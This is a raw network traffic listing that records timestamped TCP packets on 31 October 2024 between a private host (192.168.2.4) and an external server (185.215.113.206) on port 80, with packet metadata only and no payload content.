Oct 31, 2024 07:14:33.347409964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347429991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347448111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347451925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347460032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347470999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347491980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347524881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347546101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347554922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347606897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347623110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347661972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347665071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347672939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347703934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347723007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347729921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347748041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347760916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347774029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347786903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347789049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347809076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347831011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347831011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347841978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347851992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347855091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347870111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347887039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347897053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347898960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347917080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347938061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347942114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347951889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.347956896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.347964048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348000050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348278999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348293066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348310947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348320961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348335028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348339081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348361969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348365068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348366976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348385096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348412991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348423958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348426104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348436117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348453999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348460913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348472118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348490000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348500967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348511934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348521948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348526955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348534107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348551989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348568916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348577023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348578930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348591089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348613977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348635912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348661900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348664045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348666906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348707914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348715067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348726988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348737001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348750114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348756075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348762035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348798037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348805904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348809004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348848104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348870039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348893881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348905087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348916054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348934889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348941088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348951101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348964930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.348965883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.348980904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349008083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349013090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349024057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349035025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349045992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349047899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349056959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349092960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349121094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349129915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349133015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349158049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349169016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349169016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349179983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349189043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349211931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349214077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349227905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349240065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349241018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349250078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349267960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349268913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349293947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349298000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349315882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349324942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349335909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349339008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349361897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349363089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349369049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349375963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349380970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349387884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349405050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349437952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349442005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349455118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349479914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349486113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349488974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349514008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349539995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349556923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349574089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349585056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349596024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349598885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349608898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349617958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349642038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349644899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349657059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349672079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349673986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349687099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349710941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349720955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349745035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349750996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349756956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349767923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349780083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349791050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349795103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349824905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349833012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349848986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349860907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349870920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349894047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349920988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.349939108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349970102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.349982023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350013971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350023985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350027084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350060940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350064039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350076914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350107908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350145102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350159883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350172043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350182056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350198984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350212097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350215912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350229025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350255966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350259066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350270987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350281000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350285053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350294113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350305080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.350327969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.350387096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.390228987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390278101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390290022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390342951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390353918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390356064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.390366077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390377998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390391111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.390440941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.390469074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.433279991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.433336020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.433410883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.433433056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.433482885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.465908051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.465935946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.465948105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.465969086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.465986967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.465997934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466017962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466022968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466041088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466053009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466063023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466082096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466094971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466108084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466111898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466123104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466135025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466140985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466144085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466154099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466164112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466181040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466197968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466214895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466222048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466226101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466239929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466250896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466260910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466270924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466284037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466300964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466310978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466320038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466321945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466334105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466358900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466408968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466437101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466449022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466509104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466520071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466531038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466545105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466559887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466602087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466728926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466773987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466775894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466787100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466815948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466826916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466833115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466839075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466839075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466861010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466875076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466901064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466911077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466919899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466931105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466942072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.466944933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466985941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.466990948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467003107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467015028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467025995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467042923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467067957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467097998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467108965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467118025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467128992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467139959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467149973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467163086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467173100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467175007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467185974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467191935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467245102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467324018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467334032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467344999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467355967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467372894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467379093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467391968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467391968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467412949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467423916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467432022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467456102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467468023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467468023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467495918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467499018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467509985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467525005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467530012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467536926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467567921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467569113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467580080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467598915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467612982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467623949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467623949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467650890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467654943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467664003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467684031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467688084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467700005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467710018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467713118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467746019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467765093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467766047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467776060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467797995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467808962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467809916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467822075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:33.467833996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467844963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467853069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:33.467856884 CET	49758	80	192.168.2.4	185.215.113.206
